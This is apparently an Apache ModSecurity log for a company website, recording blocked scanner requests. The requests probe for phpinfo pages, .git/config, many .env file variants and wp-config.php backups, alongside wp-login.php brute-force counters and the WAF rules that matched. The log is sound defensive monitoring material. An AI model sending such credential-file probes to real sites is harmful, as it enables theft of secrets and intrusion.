[Sat May 09 01:14:48.910014 2026] [:error] [pid 51009:tid 51087] [client 13.212.112.147:57802] [client 13.212.112.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/phpinfo.php.old"] [unique_id "af4aCOB0GbUWhxgzX9WJDQAAAIs"]
[Sat May 09 01:14:49.344551 2026] [:error] [pid 61356:tid 61400] [client 13.212.112.147:57822] [client 13.212.112.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/phpinfo.php~"] [unique_id "af4aCYx3vpB8oWhUq2McjgAAAcw"]
[Sat May 09 01:14:49.778081 2026] [:error] [pid 34318:tid 34323] [client 13.212.112.147:57842] [client 13.212.112.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/info.php.bak"] [unique_id "af4aCcr3guirgJiKhzAAAwAAAQM"]
[Sat May 09 01:14:50.212779 2026] [:error] [pid 61355:tid 61378] [client 13.212.112.147:57868] [client 13.212.112.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/phpinfo.php.save"] [unique_id "af4aCvkhJTi30CBXmMkgUgAAAZE"]
[Sat May 09 01:14:50.645448 2026] [:error] [pid 51113:tid 51126] [client 13.212.112.147:57880] [client 13.212.112.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/staging/phpinfo.php"] [unique_id "af4aCkQfs7sWtqkpQIeYTgAAAMs"]
[Sat May 09 01:14:51.082993 2026] [:error] [pid 51113:tid 51130] [client 13.212.112.147:57908] [client 13.212.112.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/beta/phpinfo.php"] [unique_id "af4aC0Qfs7sWtqkpQIeYUAAAAM8"]
[Sat May 09 01:14:51.519749 2026] [:error] [pid 61317:tid 61334] [client 13.212.112.147:60550] [client 13.212.112.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uat/phpinfo.php"] [unique_id "af4aC8-fFk_CedOCOYsEfwAAAU4"]
[Sat May 09 01:14:51.958330 2026] [:error] [pid 61317:tid 61322] [client 13.212.112.147:60566] [client 13.212.112.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/qa/phpinfo.php"] [unique_id "af4aC8-fFk_CedOCOYsEggAAAUI"]
[Sat May 09 01:14:52.391952 2026] [:error] [pid 51007:tid 51045] [client 13.212.112.147:60590] [client 13.212.112.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/preview/phpinfo.php"] [unique_id "af4aDFMagSGstWKyzzUV9AAAABc"]
[Sat May 09 01:14:52.825177 2026] [:error] [pid 61356:tid 61411] [client 13.212.112.147:60612] [client 13.212.112.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/www/phpinfo.php"] [unique_id "af4aDIx3vpB8oWhUq2McnAAAAdc"]
[Sat May 09 01:14:53.257375 2026] [:error] [pid 51113:tid 51118] [client 13.212.112.147:60636] [client 13.212.112.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/htdocs/phpinfo.php"] [unique_id "af4aDUQfs7sWtqkpQIeYUwAAAMM"]
[Sat May 09 01:14:53.690494 2026] [:error] [pid 61317:tid 61331] [client 13.212.112.147:60654] [client 13.212.112.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public_html/phpinfo.php"] [unique_id "af4aDc-fFk_CedOCOYsEhgAAAUs"]
[Sat May 09 01:14:54.122672 2026] [:error] [pid 34318:tid 34320] [client 13.212.112.147:60674] [client 13.212.112.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/site/phpinfo.php"] [unique_id "af4aDsr3guirgJiKhzAACAAAAQA"]
[Sat May 09 01:14:54.557541 2026] [:error] [pid 51009:tid 51080] [client 13.212.112.147:60696] [client 13.212.112.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/docs/phpinfo.php"] [unique_id "af4aDuB0GbUWhxgzX9WJGAAAAIQ"]
[Sat May 09 01:14:54.994552 2026] [:error] [pid 61317:tid 61330] [client 13.212.112.147:60704] [client 13.212.112.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/phpinfo.php"] [unique_id "af4aDs-fFk_CedOCOYsEiwAAAUo"]
[Sat May 09 01:14:55.427801 2026] [:error] [pid 51009:tid 51094] [client 13.212.112.147:60734] [client 13.212.112.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/administrator/phpinfo.php"] [unique_id "af4aD-B0GbUWhxgzX9WJHgAAAJI"]
[Sat May 09 01:14:55.868877 2026] [:error] [pid 34318:tid 34337] [client 13.212.112.147:60748] [client 13.212.112.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/core/phpinfo.php"] [unique_id "af4aD8r3guirgJiKhzAADQAAARE"]
[Sat May 09 01:14:56.304196 2026] [:error] [pid 51009:tid 51099] [client 13.212.112.147:60752] [client 13.212.112.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/includes/phpinfo.php"] [unique_id "af4aEOB0GbUWhxgzX9WJIAAAAJc"]
[Sat May 09 01:30:37.949629 2026] [:error] [pid 51113:tid 51116] [client 104.244.75.190:50241] [client 104.244.75.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.244.75.190, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af4dvUQfs7sWtqkpQIearQAAAME"]
[Sat May 09 01:30:38.997118 2026] [:error] [pid 51113:tid 51115] [client 104.244.75.190:50241] [client 104.244.75.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.244.75.190, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af4dvkQfs7sWtqkpQIeargAAAMA"]
[Sat May 09 03:08:26.470809 2026] [:error] [pid 51008:tid 51058] [client 52.212.42.253:40080] [client 52.212.42.253] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.git/config"] [unique_id "af40qnB58C2Y1tgLtuLzAwAAAEk"]
[Sat May 09 03:08:29.273798 2026] [:error] [pid 61355:tid 61363] [client 52.212.42.253:40110] [client 52.212.42.253] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env"] [unique_id "af40rfkhJTi30CBXmMlwBgAAAYI"]
[Sat May 09 03:08:30.301859 2026] [:error] [pid 51009:tid 51089] [client 52.212.42.253:40184] [client 52.212.42.253] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env.local"] [unique_id "af40ruB0GbUWhxgzX9W3UwAAAI0"]
[Sat May 09 03:08:31.334552 2026] [:error] [pid 51007:tid 51037] [client 52.212.42.253:40210] [client 52.212.42.253] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env.production"] [unique_id "af40r1MagSGstWKyzzUuIQAAAA8"]
[Sat May 09 03:08:32.358333 2026] [:error] [pid 34318:tid 34334] [client 52.212.42.253:40252] [client 52.212.42.253] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env.staging"] [unique_id "af40sMr3guirgJiKhzAWJQAAAQ4"]
[Sat May 09 03:08:33.380578 2026] [:error] [pid 61355:tid 61373] [client 52.212.42.253:52084] [client 52.212.42.253] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env.development"] [unique_id "af40sfkhJTi30CBXmMlwHQAAAYw"]
[Sat May 09 03:08:34.415054 2026] [:error] [pid 51007:tid 51044] [client 52.212.42.253:52116] [client 52.212.42.253] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env.test"] [unique_id "af40slMagSGstWKyzzUuJAAAABY"]
[Sat May 09 03:08:35.443574 2026] [:error] [pid 51007:tid 51046] [client 52.212.42.253:52158] [client 52.212.42.253] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env.remote"] [unique_id "af40s1MagSGstWKyzzUuJQAAABg"]
[Sat May 09 03:45:30.799919 2026] [:error] [pid 9393:tid 9459] [client 13.212.112.147:41586] [client 13.212.112.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "af49WuteVHhYnMN-AjhEPwAAAIk"]
[Sat May 09 03:45:32.511650 2026] [:error] [pid 9393:tid 9453] [client 13.212.112.147:41590] [client 13.212.112.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "af49XOteVHhYnMN-AjhESgAAAIM"]
[Sat May 09 03:45:32.946301 2026] [:error] [pid 9393:tid 9463] [client 13.212.112.147:47550] [client 13.212.112.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.local"] [unique_id "af49XOteVHhYnMN-AjhETgAAAI0"]
[Sat May 09 03:45:33.381447 2026] [:error] [pid 9487:tid 9493] [client 13.212.112.147:47596] [client 13.212.112.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.production"] [unique_id "af49XVMqrMo-9F8KCpHL1wAAAMQ"]
[Sat May 09 03:45:33.820963 2026] [:error] [pid 9390:tid 9403] [client 13.212.112.147:47638] [client 13.212.112.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.staging"] [unique_id "af49XctpJoqiswRIk47DQgAAAAg"]
[Sat May 09 03:45:34.255131 2026] [:error] [pid 9391:tid 9434] [client 13.212.112.147:47664] [client 13.212.112.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.development"] [unique_id "af49XvCzYX2hfRdIgd8FUAAAAEs"]
[Sat May 09 03:45:34.690387 2026] [:error] [pid 9487:tid 9495] [client 13.212.112.147:47710] [client 13.212.112.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.test"] [unique_id "af49XlMqrMo-9F8KCpHL5gAAAMY"]
[Sat May 09 03:45:35.133301 2026] [:error] [pid 9390:tid 9401] [client 13.212.112.147:47746] [client 13.212.112.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.remote"] [unique_id "af49X8tpJoqiswRIk47DRwAAAAY"]
[Sat May 09 03:45:35.565716 2026] [:error] [pid 9390:tid 9399] [client 13.212.112.147:47778] [client 13.212.112.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.bak"] [unique_id "af49X8tpJoqiswRIk47DSwAAAAQ"]
[Sat May 09 03:45:35.996969 2026] [:error] [pid 9390:tid 9412] [client 13.212.112.147:47822] [client 13.212.112.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.backup"] [unique_id "af49X8tpJoqiswRIk47DUAAAABE"]
[Sat May 09 03:45:36.427992 2026] [:error] [pid 9487:tid 9497] [client 13.212.112.147:47878] [client 13.212.112.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.save"] [unique_id "af49YFMqrMo-9F8KCpHL7QAAAMg"]
[Sat May 09 03:45:36.860504 2026] [:error] [pid 9390:tid 9414] [client 13.212.112.147:47918] [client 13.212.112.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.old"] [unique_id "af49YMtpJoqiswRIk47DVQAAABM"]
[Sat May 09 03:45:37.296827 2026] [:error] [pid 9487:tid 9505] [client 13.212.112.147:47940] [client 13.212.112.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.sample"] [unique_id "af49YVMqrMo-9F8KCpHL9AAAANA"]
[Sat May 09 03:45:37.729037 2026] [:error] [pid 9487:tid 9497] [client 13.212.112.147:47986] [client 13.212.112.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.example"] [unique_id "af49YVMqrMo-9F8KCpHL-gAAAMg"]
[Sat May 09 03:45:38.160048 2026] [:error] [pid 9487:tid 9505] [client 13.212.112.147:48024] [client 13.212.112.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.dev"] [unique_id "af49YlMqrMo-9F8KCpHL_wAAANA"]
[Sat May 09 03:45:38.593458 2026] [:error] [pid 9391:tid 9438] [client 13.212.112.147:48068] [client 13.212.112.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.prod"] [unique_id "af49YvCzYX2hfRdIgd8FVAAAAE8"]
[Sat May 09 03:45:39.026077 2026] [:error] [pid 9487:tid 9494] [client 13.212.112.147:48112] [client 13.212.112.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.stage"] [unique_id "af49Y1MqrMo-9F8KCpHMBwAAAMU"]
[Sat May 09 03:45:39.459537 2026] [:error] [pid 9390:tid 9405] [client 13.212.112.147:48152] [client 13.212.112.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.ci"] [unique_id "af49Y8tpJoqiswRIk47DXAAAAAo"]
[Sat May 09 03:45:39.891356 2026] [:error] [pid 9393:tid 9457] [client 13.212.112.147:48182] [client 13.212.112.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.docker"] [unique_id "af49Y-teVHhYnMN-AjhEYwAAAIc"]
[Sat May 09 04:00:20.600036 2026] [:error] [pid 9187:tid 9276] [client 45.130.83.89:41549] [client 45.130.83.89] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.130.83.89, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af5A1BC7An6gkXsRsaG4nwAAAJc"]
[Sat May 09 04:04:30.767684 2026] [:error] [pid 9663:tid 9667] [client 91.92.243.248:60509] [client 91.92.243.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.243.248, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af5BzpcWIu01SCxbjwuqxgAAAQE"]
[Sat May 09 05:13:39.749908 2026] [:error] [pid 9833:tid 9841] [client 43.167.236.228:42748] [client 43.167.236.228] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "af5SAyM9JmxIS0KGZUAtzgAAAYM"]
[Sat May 09 05:55:34.998774 2026] [:error] [pid 9187:tid 9273] [client 130.12.182.66:53526] [client 130.12.182.66] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/wp-config.php.old"] [unique_id "af5b1hC7An6gkXsRsaHonAAAAJQ"]
[Sat May 09 05:55:35.009810 2026] [:error] [pid 9187:tid 9272] [client 130.12.182.66:53490] [client 130.12.182.66] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||rcacivilgroup.com|F|2"] [data ".backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "rcacivilgroup.com"] [uri "/wp-config.backup"] [unique_id "af5b1xC7An6gkXsRsaHonQAAAJM"]
[Sat May 09 05:55:35.016622 2026] [:error] [pid 9186:tid 9241] [client 130.12.182.66:53500] [client 130.12.182.66] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/wp-config.php.bak"] [unique_id "af5b1xW4eFOEw1mKOgJ58gAAAE8"]
[Sat May 09 05:55:35.023405 2026] [:error] [pid 9187:tid 9268] [client 130.12.182.66:53510] [client 130.12.182.66] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/wp-config.php.save"] [unique_id "af5b1xC7An6gkXsRsaHongAAAI8"]
[Sat May 09 05:55:35.024638 2026] [:error] [pid 9186:tid 9250] [client 130.12.182.66:53464] [client 130.12.182.66] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.txt" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/wp-config.txt"] [unique_id "af5b1xW4eFOEw1mKOgJ58wAAAFg"]
[Sat May 09 05:55:35.025588 2026] [:error] [pid 9187:tid 9266] [client 130.12.182.66:53478] [client 130.12.182.66] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/wp-config.php~"] [unique_id "af5b1xC7An6gkXsRsaHonwAAAI0"]
